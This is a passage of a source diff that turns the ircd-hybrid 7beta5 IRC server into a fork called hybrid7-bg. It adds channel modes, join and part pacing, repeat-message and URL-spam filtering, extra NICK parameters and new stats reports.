+	    sendto_one(source_p, form_str(ERR_REGACCEPTONLY),
+		       me.name, source_p->name, target_p->name);
+	    return;
+	}
+
+	  if (ConfigFileEntry.spam_wait && (p_or_n != NOTICE) &&
+		((target_p->localClient->last_join_time + ConfigFileEntry.spam_wait > CurrentTime) ||
+		 (target_p->localClient->last_leave_time + ConfigFileEntry.spam_wait > CurrentTime)))
+	  {
+		sendto_anywhere(source_p, target_p, 
+			"NOTICE %s :*** I'm joining/leaving a chan, please try again in a few seconds.",
+			source_p->name);
+		return;
+	  }
+
       if(!IsServer(source_p) && IsSetCallerId(target_p))
 	{
 	  /* Here is the anti-flood bot/spambot code -db */
@@ -677,7 +764,7 @@
 			 source_p->name,
 			 source_p->username,
 			 source_p->host,
-			 command, target_p->name, text);
+			 command, target_p->name, translate(target_p, text));
 	    }
 	  else
 	    {
@@ -716,7 +803,7 @@
            * (to avoid flood warnings), lastly if theyre our client and flooding    -- fl */
           if(!MyClient(source_p) || IsOper(source_p) || (MyClient(source_p) && !flood_attack_client(p_or_n,source_p,target_p)))
 	    sendto_anywhere(target_p, source_p, "%s %s :%s",
-			    command, target_p->name, text);
+			    command, target_p->name, translate(target_p, text));
 	}
     }
   else
@@ -957,3 +1044,59 @@
 	}
     }
 }
+
+static void replace(char *buf, char *word, char *subst, int size)
+{
+	char *p = buf;
+	int len1 = strlen(word), len2 = strlen(subst);
+
+	while (*p)
+		if (!ircncmp(p, word, len1)) {
+
+			if (p + len2 + strlen(p + len1) > buf + size)
+				return;
+
+			memmove(p + len2, p + len1, strlen(p + len1) + 1);
+			memmove(p, subst, len2);
+			p += len2;
+		}
+		else
+			p++;
+}
+
+static int check_repeat(struct Client *source_p,
+						struct Channel *chptr,
+						char *text)
+{
+	dlink_node *ptr;
+	struct Repeat *repeatptr;
+
+	for (ptr = source_p->user->repeat.head; ptr; ptr = ptr->next) {
+
+		repeatptr = ptr->data;
+		if (repeatptr->chptr == chptr)
+			if (!strcmp(repeatptr->text, text)) {
+
+				return 1;
+
+			} else {
+
+				MyFree(repeatptr->text);
+				DupString(repeatptr->text, text);
+				repeatptr->lastphrase = CurrentTime;
+
+				return 0;
+			}
+	}
+
+	repeatptr = (struct Repeat *)MyMalloc(sizeof(struct Repeat));
+	repeatptr->chptr = chptr;
+	DupString(repeatptr->text, text);
+	repeatptr->lastphrase = CurrentTime;
+
+	ptr = make_dlink_node();
+	dlinkAdd(repeatptr, ptr, &source_p->user->repeat);
+
+	return 0;
+}
+
diff -uNrd ircd-hybrid-7beta5/modules/m_mode.c hybrid7-bg/modules/m_mode.c
--- ircd-hybrid-7beta5/modules/m_mode.c	Wed May  2 03:17:04 2001
+++ hybrid7-bg/modules/m_mode.c	Sun Jun  9 11:15:47 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_mode.c,v 1.38 2001/05/02 07:17:04 a1kmm Exp $
+ *   $Id: m_mode.c,v 1.3 2002/06/09 15:15:47 Administrator Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -77,6 +77,13 @@
   static char     modebuf[MODEBUFLEN];
   static char     parabuf[MODEBUFLEN];
   int n = 2;
+
+/*  if (client_p->user)
+	  client_p->user->known = 1;
+
+  this marks drones as known clients...
+
+	  */
 
   /* Now, try to find the channel in question */
   if( !IsChanPrefix(parv[1][0]) )
diff -uNrd ircd-hybrid-7beta5/modules/m_motd.c hybrid7-bg/modules/m_motd.c
--- ircd-hybrid-7beta5/modules/m_motd.c	Mon Apr  9 08:41:50 2001
+++ hybrid7-bg/modules/m_motd.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_motd.c,v 1.18 2001/04/09 12:41:50 fl_ Exp $
+ *   $Id: m_motd.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "client.h"
 #include "tools.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_names.c hybrid7-bg/modules/m_names.c
--- ircd-hybrid-7beta5/modules/m_names.c	Mon May 14 06:08:57 2001
+++ hybrid7-bg/modules/m_names.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_names.c,v 1.32 2001/05/14 10:08:57 toot Exp $
+ *   $Id: m_names.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_nburst.c hybrid7-bg/modules/m_nburst.c
--- ircd-hybrid-7beta5/modules/m_nburst.c	Wed Apr  4 11:22:31 2001
+++ hybrid7-bg/modules/m_nburst.c	Tue Jun  5 12:35:45 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_nburst.c,v 1.10 2001/04/04 15:22:31 androsyn Exp $
+ * $Id: m_nburst.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "channel.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_nick.c hybrid7-bg/modules/m_nick.c
--- ircd-hybrid-7beta5/modules/m_nick.c	Wed Apr  4 11:22:31 2001
+++ hybrid7-bg/modules/m_nick.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_nick.c,v 1.60 2001/04/04 15:22:31 androsyn Exp $
+ *   $Id: m_nick.c,v 1.10 2002/09/18 21:36:12 Administrator Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -321,7 +321,9 @@
 **      parv[5] = username
 **      parv[6] = hostname
 **      parv[7] = server
-**      parv[8] = ircname
+**      parv[8] = real hostname (when CAP_HOSTMASK-able)
+**      parv[9] = IP (when CAP_IP-able)
+**      parv[10] = ircname
 */
 static void ms_nick(struct Client *client_p, struct Client *source_p,
                    int parc, char *parv[])
@@ -344,7 +346,7 @@
    * parc == 9 on a normal TS style server-to-server NICK
    *      introduction
    */
-  if( (parc != 3) && (parc != 9) )
+  if( (parc != 3) && (parc != 9) && (parc != 10) && (parc != 11))
     return;
 
   /*
@@ -417,12 +419,19 @@
                 parv[0], parv[1]);
      parv[6][HOSTLEN] = 0;
     }
+  /* Okay, we should be safe to cut off the real hostname... -demond */
+  if (parc > 9 && strlen(parv[8]) > HOSTLEN)
+    {
+     sendto_realops_flags(FLAGS_ALL, "Long real host from server %s for %s",
+                parv[0], parv[1]);
+     parv[8][HOSTLEN] = 0;
+    }
   /* Okay, we should be safe to cut off the realname... -A1kmm */
-  if (parc > 8 && strlen(parv[8]) > REALLEN)
+  if (parc > 8 && strlen((parc > 9)? ((parc > 10)? parv[10] : parv[9]) : parv[8]) > REALLEN)
     {
      sendto_realops_flags(FLAGS_ALL, "Long realname from server %s for %s",
                 parv[0], parv[1]);
-     parv[8][REALLEN] = 0;
+     parv[(parc > 9)? ((parc > 10)? 10 : 9) : 8][REALLEN] = 0;
     }
   if (!IsServer(source_p) && parc > 2)
     newts = atol(parv[2]);
@@ -479,7 +488,7 @@
       {
         if (fromTS && !(target_p->user))
           {
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                    "Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
                    target_p->name, target_p->from->name, parv[1], parv[5], parv[6],
                    client_p->name);
@@ -554,7 +563,7 @@
       if (!newts || !target_p->tsinfo
           || (newts == target_p->tsinfo))
         {
-          sendto_realops_flags(FLAGS_ALL,
+          sendto_realops_flags(FLAGS_SKILL,
 			       "Nick collision on %s(%s <- %s)(both killed)",
 			       target_p->name, target_p->from->name,
 			       get_client_name(client_p, HIDE_IP));
@@ -604,12 +613,12 @@
           else
             {
               if (sameuser)
-                sendto_realops_flags(FLAGS_ALL,
+                sendto_realops_flags(FLAGS_SKILL,
                        "Nick collision on %s(%s <- %s)(older killed)",
 		       target_p->name, target_p->from->name,
 		       get_client_name(client_p, HIDE_IP));
               else
-                sendto_realops_flags(FLAGS_ALL,
+                sendto_realops_flags(FLAGS_SKILL,
 			     "Nick collision on %s(%s <- %s)(newer killed)",
 			     target_p->name, target_p->from->name,
 			     get_client_name(client_p, HIDE_IP));
@@ -654,7 +663,7 @@
   if ( !newts || !target_p->tsinfo || (newts == target_p->tsinfo) ||
       !source_p->user)
     {
-      sendto_realops_flags(FLAGS_ALL,
+      sendto_realops_flags(FLAGS_SKILL,
 	   "Nick change collision from %s to %s(%s <- %s)(both killed)",
            source_p->name, target_p->name, target_p->from->name,
 	   get_client_name(client_p, HIDE_IP));
@@ -715,12 +724,12 @@
           (!sameuser && newts > target_p->tsinfo))
         {
           if (sameuser)
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                  "Nick change collision from %s to %s(%s <- %s)(older killed)",
                  source_p->name, target_p->name, target_p->from->name,
                  get_client_name(client_p, HIDE_IP));
           else
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                  "Nick change collision from %s to %s(%s <- %s)(newer killed)",
                  source_p->name, target_p->name, target_p->from->name,
                  get_client_name(client_p, HIDE_IP));
@@ -756,12 +765,12 @@
       else
         {
           if (sameuser)
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                                "Nick collision on %s(%s <- %s)(older killed)",
                                target_p->name, target_p->from->name,
                                get_client_name(client_p, HIDE_IP));
           else
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                          "Nick collision on %s(%s <- %s)(newer killed)",
                          target_p->name, target_p->from->name,
                          get_client_name(client_p, HIDE_IP));
@@ -810,6 +819,8 @@
 nick_from_server(struct Client *client_p, struct Client *source_p, int parc,
                  char *parv[], time_t newts,char *nick)
 {
+	int samenick = 0;
+
   if (IsServer(source_p))
     {
       /* A server introducing a new client, change source */
@@ -822,7 +833,17 @@
         add_lazylinkclient(client_p, source_p);
           
       if (parc > 2)
-        source_p->hopcount = atoi(parv[2]);
+	{
+          if (IsCapable(client_p, CAP_SVS))
+            {
+              unsigned int val = atoi(parv[2]);
+
+              source_p->svsflags = val >> 8;
+              source_p->hopcount = val & 0xFF;       
+            } 
+          else source_p->hopcount = atoi(parv[2]);
+	}
+
       if (newts)
         source_p->tsinfo = newts;
       else
@@ -858,7 +879,8 @@
             }
 
           return do_remote_user(nick, client_p, source_p, parv[5], parv[6],
-				parv[7], parv[8], NULL);
+			  parv[7], (parc > 9)? ((parc > 10)? parv[10] : parv[9]) : parv[8], 
+				(parc > 9)? parv[8] : NULL, (parc > 10)? parv[9] : NULL, NULL);
         }
     }
   else if (source_p->name[0])
@@ -885,16 +907,28 @@
   /*
   **  Finally set new nick name.
   */
-  if (source_p->name[0])
+  if (source_p->name[0]) {
+
     del_from_client_hash_table(source_p->name, source_p);
+
+	samenick = irccmp(source_p->name, nick) ? 0 : 1;
+	if (/*IsPerson(source_p) &&*/ !samenick)
+	  hash_check_watch(source_p, RPL_LOGOFF);
+  }
+
   strcpy(source_p->name, nick);
   add_to_client_hash_table(nick, source_p);
 
+  if (/*IsPerson(source_p) &&*/ !samenick)
+	hash_check_watch(source_p, RPL_LOGON);
+
   /* Make sure everyone that has this client on its accept list
    * loses that reference. 
    */
 
   del_all_accepts(source_p);
+
+  source_p->svsflags &= ~FLAGS_SVS_IDENT;
   return 0;
 }
 
diff -uNrd ircd-hybrid-7beta5/modules/m_oper.c hybrid7-bg/modules/m_oper.c
--- ircd-hybrid-7beta5/modules/m_oper.c	Mon May  7 11:50:30 2001
+++ hybrid7-bg/modules/m_oper.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_oper.c,v 1.32 2001/05/07 15:50:30 toot Exp $
+ *   $Id: m_oper.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_operwall.c hybrid7-bg/modules/m_operwall.c
--- ircd-hybrid-7beta5/modules/m_operwall.c	Wed Apr  4 11:22:32 2001
+++ hybrid7-bg/modules/m_operwall.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_operwall.c,v 1.22 2001/04/04 15:22:32 androsyn Exp $
+ *   $Id: m_operwall.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_part.c hybrid7-bg/modules/m_part.c
--- ircd-hybrid-7beta5/modules/m_part.c	Fri May  4 18:24:00 2001
+++ hybrid7-bg/modules/m_part.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_part.c,v 1.44 2001/05/04 22:24:00 fl_ Exp $
+ *   $Id: m_part.c,v 1.7 2002/09/17 17:37:14 Administrator Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -173,22 +173,34 @@
       (source_p->firsttime + ConfigFileEntry.anti_spam_exit_message_time)
       < CurrentTime))))
     {
+      /*strip_color(reason);*/
+      reason = strip_color(reason, 1);
+
+	  if (match("*http://*", reason) || match("*www*", reason))
+		reason = "<URL spam removed>";
+
       sendto_channel_remote_prefix(chptr, client_p, source_p, "PART %s :%s",
-                              chptr->chname,
-                              reason);
-      sendto_channel_local(ALL_MEMBERS,
+				   chptr->chname,
+				   reason);
+      if (PaceChannel(chptr) && (chptr->parts < MAX_PACEJOIN))
+	add_pace(chptr, source_p, bchan->chname, 0, 0);
+      else
+        sendto_channel_local(ALL_MEMBERS,
                            chptr, ":%s!%s@%s PART %s :%s",
                            source_p->name,
                            source_p->username,
                            source_p->host,
                            bchan->chname,
-                           reason);
+			   reason);
     }
   else
     {
       sendto_channel_remote_prefix(chptr, client_p, source_p, "PART %s",
                                    chptr->chname);
-      sendto_channel_local(ALL_MEMBERS,
+      if (PaceChannel(chptr) && (chptr->parts < MAX_PACEJOIN))
+	add_pace(chptr, source_p, bchan->chname, 0, 0);
+      else
+        sendto_channel_local(ALL_MEMBERS,
                            chptr, ":%s!%s@%s PART %s",
                            source_p->name,
                            source_p->username,
@@ -196,4 +208,7 @@
                            bchan->chname);
     }
   remove_user_from_channel(chptr, source_p, 0);
+
+  if (MyConnect(source_p))
+	source_p->localClient->last_leave_time = CurrentTime;
 }
diff -uNrd ircd-hybrid-7beta5/modules/m_pass.c hybrid7-bg/modules/m_pass.c
--- ircd-hybrid-7beta5/modules/m_pass.c	Wed Apr  4 11:22:33 2001
+++ hybrid7-bg/modules/m_pass.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: m_pass.c,v 1.16 2001/04/04 15:22:33 androsyn Exp $
+ *  $Id: m_pass.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"  /* m_pass prototype */
 #include "client.h"      /* client struct */
diff -uNrd ircd-hybrid-7beta5/modules/m_ping.c hybrid7-bg/modules/m_ping.c
--- ircd-hybrid-7beta5/modules/m_ping.c	Mon Apr  9 05:02:52 2001
+++ hybrid7-bg/modules/m_ping.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_ping.c,v 1.18 2001/04/09 09:02:52 a1kmm Exp $
+ *   $Id: m_ping.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_pong.c hybrid7-bg/modules/m_pong.c
--- ircd-hybrid-7beta5/modules/m_pong.c	Wed Apr  4 11:22:33 2001
+++ hybrid7-bg/modules/m_pong.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_pong.c,v 1.14 2001/04/04 15:22:33 androsyn Exp $
+ *   $Id: m_pong.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_post.c hybrid7-bg/modules/m_post.c
--- ircd-hybrid-7beta5/modules/m_post.c	Wed Apr  4 11:22:33 2001
+++ hybrid7-bg/modules/m_post.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_post.c,v 1.2 2001/04/04 15:22:33 androsyn Exp $
+ *   $Id: m_post.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_quit.c hybrid7-bg/modules/m_quit.c
--- ircd-hybrid-7beta5/modules/m_quit.c	Wed Apr  4 11:22:34 2001
+++ hybrid7-bg/modules/m_quit.c	Sun Jun  9 11:16:26 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_quit.c,v 1.18 2001/04/04 15:22:34 androsyn Exp $
+ *   $Id: m_quit.c,v 1.6 2002/06/09 15:16:26 Administrator Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -73,6 +73,9 @@
   if (strlen(comment) > (size_t) TOPICLEN)
     comment[TOPICLEN] = '\0';
 
+  if (match("*http://*", comment) || match("*www*", comment))
+	  comment = "<URL spam removed>";
+
   if (ConfigFileEntry.client_exit && comment[0])
     {
       snprintf(reason, TOPICLEN, "Client Exit: %s", comment);
@@ -86,6 +89,10 @@
       comment = "Client Quit";
     }
 
+  if (parc > 1)
+    /*strip_color(comment);*/
+    comment = strip_color(comment, 1);
+
   exit_client(client_p, source_p, source_p, comment);
 }
 
@@ -104,6 +111,10 @@
   source_p->flags |= FLAGS_NORMALEX;
   if (strlen(comment) > (size_t) TOPICLEN)
     comment[TOPICLEN] = '\0';
+
+  if (parc > 1)
+    /*strip_color(comment);*/
+    comment = strip_color(comment, 1);
 
   exit_client(client_p, source_p, source_p, comment);
 }
diff -uNrd ircd-hybrid-7beta5/modules/m_rehash.c hybrid7-bg/modules/m_rehash.c
--- ircd-hybrid-7beta5/modules/m_rehash.c	Wed Apr  4 11:22:34 2001
+++ hybrid7-bg/modules/m_rehash.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_rehash.c,v 1.23 2001/04/04 15:22:34 androsyn Exp $
+ *   $Id: m_rehash.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_restart.c hybrid7-bg/modules/m_restart.c
--- ircd-hybrid-7beta5/modules/m_restart.c	Wed Apr  4 11:22:34 2001
+++ hybrid7-bg/modules/m_restart.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_restart.c,v 1.15 2001/04/04 15:22:34 androsyn Exp $
+ *   $Id: m_restart.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_server.c hybrid7-bg/modules/m_server.c
--- ircd-hybrid-7beta5/modules/m_server.c	Fri Apr 13 18:39:46 2001
+++ hybrid7-bg/modules/m_server.c	Sun Feb 17 00:30:57 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_server.c,v 1.56 2001/04/13 22:39:46 davidt Exp $
+ *   $Id: m_server.c,v 1.2 2002/02/17 05:30:57 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"  /* m_server prototype */
@@ -448,7 +448,8 @@
                          
     }
       
-  sendto_realops_flags(FLAGS_EXTERNAL, "Server %s being introduced by %s",
+  if (!IsRelay(target_p))
+    sendto_realops_flags(FLAGS_EXTERNAL, "Server %s being introduced by %s",
 		       target_p->name, source_p->name);
 
   if (!refresh_user_links)
diff -uNrd ircd-hybrid-7beta5/modules/m_set.c hybrid7-bg/modules/m_set.c
--- ircd-hybrid-7beta5/modules/m_set.c	Wed Apr  4 11:22:35 2001
+++ hybrid7-bg/modules/m_set.c	Tue Jun  5 12:35:45 2001
@@ -19,7 +19,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_set.c,v 1.33 2001/04/04 15:22:35 androsyn Exp $ */
+ *   $Id: m_set.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $ */
 
 /* rewritten by jdc */
 
diff -uNrd ircd-hybrid-7beta5/modules/m_sjoin.c hybrid7-bg/modules/m_sjoin.c
--- ircd-hybrid-7beta5/modules/m_sjoin.c	Wed May 16 19:32:06 2001
+++ hybrid7-bg/modules/m_sjoin.c	Thu Jul 11 15:02:08 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_sjoin.c,v 1.88 2001/05/16 23:32:06 leeh Exp $
+ *   $Id: m_sjoin.c,v 1.7 2002/07/11 19:02:08 Administrator Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -171,6 +171,27 @@
       case 'a':
         mode.mode |= MODE_HIDEOPS;
         break;
+      case 'c':
+        mode.mode |= MODE_NOCOLOR;
+        break;
+      case 'r':
+        mode.mode |= MODE_REGCHAN;
+        break;
+      case 'x':
+        mode.mode |= MODE_PACE;
+        break;
+      case 'z':
+        mode.mode |= MODE_NOREPEAT;
+        break;
+      case 'R':
+        mode.mode |= MODE_REGNICKS;
+        break;
+      case 'C':
+        mode.mode |= MODE_CYRNICKS;
+        break;
+      case 'M':
+        mode.mode |= MODE_REGSPEAK;
+        break;
       case 'k':
         strncpy_irc(mode.key, parv[4 + args], KEYLEN);
         args++;
@@ -474,7 +495,11 @@
 	  if( top_chptr )
 	    {
 	      add_vchan_to_client_cache(target_p,top_chptr, chptr);
-	      sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s JOIN :%s",
+
+              if (PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN))
+	        add_pace(chptr, target_p, top_chptr->chname, 1, 0);
+	      else
+	        sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s JOIN :%s",
 				   target_p->name,
 				   target_p->username,
 				   target_p->host,
@@ -482,7 +507,10 @@
 	    }
 	  else
 	    {
-	      sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s JOIN :%s",
+              if (PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN))
+	        add_pace(chptr, target_p, parv[2], 1, 0);
+	      else
+	        sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s JOIN :%s",
 				   target_p->name,
 				   target_p->username,
 				   target_p->host,
@@ -593,6 +621,13 @@
   { MODE_INVITEONLY, 'i' },
   { MODE_PRIVATE,    'p' },
   { MODE_HIDEOPS,    'a' },
+  { MODE_NOCOLOR,    'c' },
+  { MODE_REGCHAN,    'r' },
+  { MODE_PACE,       'x' },
+  { MODE_NOREPEAT,   'z' },
+  { MODE_REGNICKS,   'R' },
+  { MODE_REGSPEAK,   'M' },
+  { MODE_CYRNICKS,   'C' },
   { 0, 0 }
 };
 
diff -uNrd ircd-hybrid-7beta5/modules/m_squit.c hybrid7-bg/modules/m_squit.c
--- ircd-hybrid-7beta5/modules/m_squit.c	Wed Apr  4 11:22:36 2001
+++ hybrid7-bg/modules/m_squit.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_squit.c,v 1.32 2001/04/04 15:22:36 androsyn Exp $
+ *   $Id: m_squit.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_stats.c hybrid7-bg/modules/m_stats.c
--- ircd-hybrid-7beta5/modules/m_stats.c	Sat May  5 17:56:11 2001
+++ hybrid7-bg/modules/m_stats.c	Sat Jun  1 03:35:39 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: m_stats.c,v 1.71 2001/05/05 21:56:11 fl_ Exp $
+ *  $Id: m_stats.c,v 1.5 2002/06/01 07:35:39 Administrator Exp $
  */
 #include "tools.h"	 /* dlink_node/dlink_list */
 #include "handlers.h"    /* m_pass prototype */
@@ -121,8 +121,12 @@
 static void stats_shared(struct Client *);
 static void stats_servers(struct Client *);
 static void stats_gecos(struct Client *);
+static void stats_userparms(struct Client *);
 static void stats_class(struct Client *);
 static void stats_memory(struct Client *);
+static void stats_services(struct Client *);
+static void stats_equivs(struct Client *);
+static void stats_relays(struct Client *);
 static void stats_servlinks(struct Client *);
 static void stats_ltrace(struct Client *, int, char**);
 
@@ -161,7 +165,7 @@
   { 'q',	stats_quarantine,	1,	0,	},
   { 'Q',	stats_quarantine,	1,	0,	},
   { 'r',	stats_usage,		1,	0,	},
-  { 'R',	stats_usage,		1,	0,	},
+  { 'R',	stats_relays,		1,	0,	},
   { 't',	stats_tstats,		1,	0,	},
   { 'T',	stats_tstats,		1,	0,	},
   { 'u',	stats_uptime,		0,	0,	},
@@ -169,11 +173,11 @@
   { 'v',	stats_servers,		1,	0,	},
   { 'V',	stats_servers,		1,	0,	},
   { 'x',	stats_gecos,		1,	0,	},
-  { 'X',	stats_gecos,		1,	0,	},
+  { 'X',	stats_userparms,		1,	0,	},
   { 'y',	stats_class,		1,	0,	},
-  { 'Y',	stats_class,		1,	0,	},
+  { 'Y',	stats_equivs,		1,	0,	},
   { 'z',	stats_memory,		1,	0,	},
-  { 'Z',	stats_memory,		1,	0,	},
+  { 'Z',	stats_services,		1,	0,	},
   { '?',	stats_servlinks,	1,	0,	},
   { (char) 0, 	(void (*)()) 0,		0,	0,	}
 };
@@ -381,6 +385,21 @@
   report_qlines(client_p);
 }
 
+static void stats_services(struct Client *client_p)
+{
+  report_zlines(client_p);
+}
+
+static void stats_equivs(struct Client *client_p)
+{
+  report_equivs(client_p);
+}
+
+static void stats_relays(struct Client *client_p)
+{
+  report_relays(client_p);
+}
+
 static void stats_usage(struct Client *client_p)
 {
   send_usage(client_p);
@@ -416,6 +435,11 @@
 static void stats_gecos(struct Client *client_p)
 {
   report_specials(client_p, CONF_XLINE, RPL_STATSXLINE);
+}
+
+static void stats_userparms(struct Client *client_p)
+{
+  report_userparms(client_p);
 }
 
 static void stats_class(struct Client *client_p)
diff -uNrd ircd-hybrid-7beta5/modules/m_svinfo.c hybrid7-bg/modules/m_svinfo.c
--- ircd-hybrid-7beta5/modules/m_svinfo.c	Wed Apr  4 11:22:36 2001
+++ hybrid7-bg/modules/m_svinfo.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_svinfo.c,v 1.19 2001/04/04 15:22:36 androsyn Exp $
+ *   $Id: m_svinfo.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_svshint.c hybrid7-bg/modules/m_svshint.c
--- ircd-hybrid-7beta5/modules/m_svshint.c	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/m_svshint.c	Wed Jul 24 09:09:37 2002
@@ -0,0 +1,103 @@
+/************************************************************************
+ *   IRC - Internet Relay Chat, modules/m_svshint.c
+ *   Copyright (C) 1990 Jarkko Oikarinen and
+ *                      University of Oulu, Computing Center
+ *
+ *   See file AUTHORS in IRC package for additional names of
+ *   the programmers. 
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
